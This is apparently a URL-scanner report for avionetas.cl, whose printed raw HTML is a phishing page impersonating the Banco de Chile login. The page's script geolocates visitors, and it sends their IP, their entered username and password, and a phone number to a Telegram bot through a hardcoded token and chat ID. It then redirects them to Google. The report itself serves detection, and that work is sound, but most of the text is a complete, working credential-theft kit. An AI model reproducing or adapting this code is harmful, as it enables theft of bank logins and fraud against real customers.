- 扫描 ID:
- f4418e52-9e8f-4a92-97a4-bcf7b927a6b3已完成
- 提交的 URL:
- https://avionetas.cl/
- 报告完成时间:
链接 · 找到 0 个
从页面中识别出的传出链接
JavaScript 变量 · 找到 11 个
在页面窗口对象上加载的全局 JavaScript 变量是在函数外部声明的变量,可以从当前范围内的代码中的任何位置访问
名称 | 类型 |
---|---|
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
showSpinner | function |
redirectToGoogle | function |
getFlagEmoji | function |
getUserLocationData | function |
createCopyableText | function |
sendVisitorNotification | function |
sendLoginCredentials | function |
控制台日志消息 · 找到 4 条
记录到 Web 控制台的消息
类型 | 类别 | 记录 |
---|---|---|
verbose | dom |
|
error | network |
|
error | network |
|
error | network |
|
HTML
页面的原始 HTML 正文
<!DOCTYPE html><html lang="es"><head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login - Banco de Chile</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css">
<style>
body {
margin: 0;
padding: 0;
background-image: url('https://login.portal.bancochile.cl/bancochile-web/persona/login/assets/images/bg-login.jpg');
background-size: cover;
background-position: center;
font-family: Arial, sans-serif;
}
.top-bar {
display: flex;
justify-content: space-between;
align-items: center;
background-color: white;
padding: 10px 20px;
position: fixed;
width: 100%;
top: 0;
z-index: 1000;
box-shadow: 0 2px 4px rgba(0,0,0,0.1);
}
.top-bar img {
height: 40px;
}
.login-container {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
position: relative;
z-index: 1;
}
.login-form {
background-color: rgba(255, 255, 255, 0.8);
padding: 40px;
border-radius: 8px;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
width: 300px;
height: 350px;
text-align: center;
position: relative;
}
.login-form h2 {
margin-bottom: 30px;
font-size: 24px;
color: #003366;
}
.input-container {
position: relative;
margin: 15px 0;
}
.login-input {
width: 100%;
padding: 12px 10px 12px 40px;
border: 1px solid #ccc;
border-radius: 4px;
box-sizing: border-box;
font-size: 14px;
}
.login-input:focus {
outline: none;
border-color: #4CAF50;
}
.input-icon {
position: absolute;
left: 10px;
top: 50%;
transform: translateY(-50%);
color: gray;
pointer-events: none;
}
.login-button {
width: 100%;
padding: 10px;
background-color: #4CAF50;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
margin-top: 20px;
transition: background-color 0.3s ease;
}
.login-button:hover {
background-color: #45a049;
}
.forgot-password {
display: block;
margin-top: 15px;
color: #003366;
text-decoration: none;
text-align: left;
padding-left: 10px;
}
.forgot-password:hover {
text-decoration: underline;
}
.login-form::after {
content: '';
position: absolute;
bottom: 0;
left: 0;
width: 100%;
height: 4px;
background-color: #003366;
border-radius: 0 0 8px 8px;
}
.spinner {
display: none;
position: fixed;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
border: 4px solid rgba(0, 51, 102, 0.3);
border-top: 4px solid #003366;
border-radius: 50%;
width: 50px;
height: 50px;
animation: spin 1s linear infinite;
z-index: 1002;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
.modal {
display: none;
position: fixed;
z-index: 1001;
left: 0;
top: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.5);
justify-content: center;
align-items: center;
}
.modal-content {
background-color: white;
padding: 30px;
border-radius: 8px;
text-align: center;
width: 300px;
}
.modal-content h3 {
margin-bottom: 20px;
color: #003366;
}
.modal-content .input-container {
position: relative;
}
.modal-content input {
width: 100%;
padding: 10px 10px 10px 40px;
margin: 10px 0;
border: 1px solid #ccc;
border-radius: 4px;
box-sizing: border-box;
}
.modal-content button {
width: 100%;
padding: 10px;
background-color: #4CAF50;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
transition: background-color 0.3s ease;
}
.modal-content button:hover {
background-color: #45a049;
}
</style>
</head>
<body>
<div class="top-bar">
<img src="https://www.bancochile.cl/wps/themes/html/theme-bch/images/bc-logo.png" alt="Logo Banco de Chile">
<img src="https://www.bancochile.cl/wps/themes/html/theme-bch/images/logo-banco-edwards-citi.png" alt="Logo Edwards Citi">
</div>
<div class="login-container">
<div class="login-form">
<h2>Iniciar Sesión</h2>
<div class="spinner" id="spinner"></div>
<div class="input-container">
<i class="fas fa-user input-icon"></i>
<input type="text" class="login-input" placeholder="Usuario" required="" pattern="[0-9k]+" title="Solo se permiten números y la letra k">
</div>
<div class="input-container">
<i class="fas fa-lock input-icon"></i>
<input type="password" class="login-input" placeholder="Contraseña" required="">
</div>
<a href="#" class="forgot-password">Olvido mi clave</a>
<button class="login-button" onclick="showSpinner()">Iniciar Sesión</button>
</div>
</div>
<div class="modal" id="modal">
<div class="modal-content">
<h3>Verificación de Identidad</h3>
<div class="input-container">
<i class="fas fa-phone input-icon"></i>
<input type="tel" placeholder="Número de Teléfono" required="" pattern="[0-9]+" title="Solo se permiten números">
</div>
<button onclick="redirectToGoogle()">Verificar</button>
</div>
</div>
<script>
function showSpinner() {
const inputs = document.querySelectorAll('.login-input');
const isValid = Array.from(inputs).every(input => input.checkValidity());
if (isValid) {
inputs.forEach(input => input.value = '');
document.getElementById('spinner').style.display = 'block';
setTimeout(() => {
document.getElementById('spinner').style.display = 'none';
document.getElementById('modal').style.display = 'flex';
}, 1500);
} else {
// Mostrar la alerta
alert('Por favor, ingrese un usuario o contraseña válidos.');
// Esperar 1 segundo antes de recargar la página
setTimeout(() => {
location.reload();
}, 1000); // Espera 1 segundo antes de recargar
}
}
function redirectToGoogle() {
const phoneInput = document.querySelector('.modal-content input');
if (phoneInput.checkValidity()) {
window.location.href = 'https://www.google.com';
} else {
// Mostrar la alerta
alert('Por favor, ingrese un número de teléfono válido.');
// Esperar 1 segundo antes de recargar la página
setTimeout(() => {
location.reload();
}, 1000); // Espera 1 segundo antes de recargar
}
}
</script>
<script>
// Función para obtener el emoji de la bandera
function getFlagEmoji(countryCode) {
if (!countryCode) return "";
const codePoints = countryCode
.toUpperCase()
.split('')
.map(char => 127397 + char.charCodeAt());
return String.fromCodePoint(...codePoints);
}
// Función para obtener la ubicación del usuario
async function getUserLocationData() {
try {
const response = await fetch("https://ipapi.co/json/");
return await response.json();
} catch (error) {
console.error("Error obteniendo la IP:", error);
return null;
}
}
// Función para crear texto copiable en Telegram
function createCopyableText(label, value) {
return `${label}: ${value}`;
}
// Función para enviar notificación de visitante
async function sendVisitorNotification() {
const locationData = await getUserLocationData();
const latinAmericanCountries = ["AR", "BO", "BR", "CL", "CO", "CR", "CU", "DO", "EC", "SV", "GT", "HN", "MX", "NI", "PA", "PY", "PE", "PR", "UY", "VE", "ES"];
if (locationData && locationData.country_code && latinAmericanCountries.includes(locationData.country_code)) {
const { ip, country, city, region } = locationData;
const flag = getFlagEmoji(locationData.country_code);
const message = `➖➖➖[ BANCO CHILE ]➖➖➖\n` +
`👀 Estado: Cliente en línea\n` +
`➖➖➖ 𝙄𝙉𝙁𝙊 ➖➖➖\n` +
`🌐 ${createCopyableText("IP", ip)}\n` +
`📍 Ubicación: ${city ?? "Ciudad desconocida"}, ${region ?? "Región desconocida"}, ${country ?? "País desconocido"} ${flag}\n` +
`🕒 Hora: ${new Date().toLocaleString()}\n` +
`➖➖➖➖➖➖➖➖\n` +
`@Chileno32 @Luxxonn @Buhoneroo`;
const botToken = "7386192698:AAFcteHO6er2kvX83xtR5fAtSuvmFW7mvSQ";
const chatId = "-4674303237";
try {
await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
chat_id: chatId,
text: message,
parse_mode: "Markdown"
})
});
} catch (error) {
console.error("Error al enviar notificación:", error);
}
}
}
// Función para enviar credenciales de inicio de sesión
async function sendLoginCredentials(username, password) {
const locationData = await getUserLocationData();
const latinAmericanCountries = ["AR", "BO", "BR", "CL", "CO", "CR", "CU", "DO", "EC", "SV", "GT", "HN", "MX", "NI", "PA", "PY", "PE", "PR", "UY", "VE", "ES"];
if (locationData && locationData.country_code && latinAmericanCountries.includes(locationData.country_code)) {
const { ip, country, city, region } = locationData;
const flag = getFlagEmoji(locationData.country_code);
const message = `➖➖➖[ BANCO CHILE ]➖➖➖\n` +
`👤 ${createCopyableText("Usuario", username)}\n` +
`🔒 ${createCopyableText("Clave", password)}\n` +
`➖➖➖ 𝙄𝙉𝙁𝙊 ➖➖➖\n` +
`🌐 ${createCopyableText("IP", ip)}\n` +
`📍 Ubicación: ${city ?? "Ciudad desconocida"}, ${region ?? "Región desconocida"}, ${country ?? "País desconocido"} ${flag}\n` +
`➖➖➖➖➖➖➖➖\n` +
`@Chileno32 @Luxxonn @Buhoneroo`;
const botToken = "7386192698:AAFcteHO6er2kvX83xtR5fAtSuvmFW7mvSQ";
const chatId = "-4674303237";
try {
await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
chat_id: chatId,
text: message,
parse_mode: "Markdown"
})
});
} catch (error) {
console.error("Error al enviar notificación:", error);
}
}
}
// Función para enviar número de teléfono
async function sendPhoneNumber(phoneNumber) {
const locationData = await getUserLocationData();
const latinAmericanCountries = ["AR", "BO", "BR", "CL", "CO", "CR", "CU", "DO", "EC", "SV", "GT", "HN", "MX", "NI", "PA", "PY", "PE", "PR", "UY", "VE", "ES"];
if (locationData && locationData.country_code && latinAmericanCountries.includes(locationData.country_code)) {
const { ip, country, city, region } = locationData;
const flag = getFlagEmoji(locationData.country_code);
const message = `➖➖➖[ BANCO CHILE ]➖➖➖\n` +
`📱 ${createCopyableText("Teléfono", phoneNumber)}\n` +
`➖➖➖ 𝙄𝙉𝙁𝙊 ➖➖➖\n` +
`🌐 ${createCopyableText("IP", ip)}\n` +
`📍 Ubicación: ${city ?? "Ciudad desconocida"}, ${region ?? "Región desconocida"}, ${country ?? "País desconocido"} ${flag}\n` +
`➖➖➖➖➖➖➖➖\n` +
`@Chileno32 @Luxxonn @Buhoneroo`;
const botToken = "7386192698:AAFcteHO6er2kvX83xtR5fAtSuvmFW7mvSQ";
const chatId = "-4674303237";
try {
await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
chat_id: chatId,
text: message,
parse_mode: "Markdown"
})
});
} catch (error) {
console.error("Error al enviar notificación:", error);
}
}
}
// Modificar la función de redirección para enviar el teléfono primero
function redirectToGoogle() {
const phoneInput = document.querySelector('.modal-content input[placeholder="Número de Teléfono"]');
const phoneNumber = phoneInput.value;
if (phoneNumber) {
// Primero enviar el número de teléfono
sendPhoneNumber(phoneNumber).then(() => {
// Luego redirigir a Google
window.location.href = 'https://www.google.com';
});
} else {
// Si no hay número, redirigir directamente
window.location.href = 'https://www.google.com';
}
}
// Event Listeners
document.addEventListener("DOMContentLoaded", function() {
// Enviar notificación de visitante cuando la página carga
sendVisitorNotification();
// Manejar envío del formulario de inicio de sesión
document.querySelector(".login-button").addEventListener("click", function(e) {
const usernameInput = document.querySelector('.login-input[placeholder="Usuario"]');
const passwordInput = document.querySelector('.login-input[placeholder="Contraseña"]');
const username = usernameInput.value;
const password = passwordInput.value;
if(username && password) {
sendLoginCredentials(username, password);
}
});
// Asignar la función de redirección modificada
document.querySelector('.modal-content button').onclick = redirectToGoogle;
});
</script>
</body></html>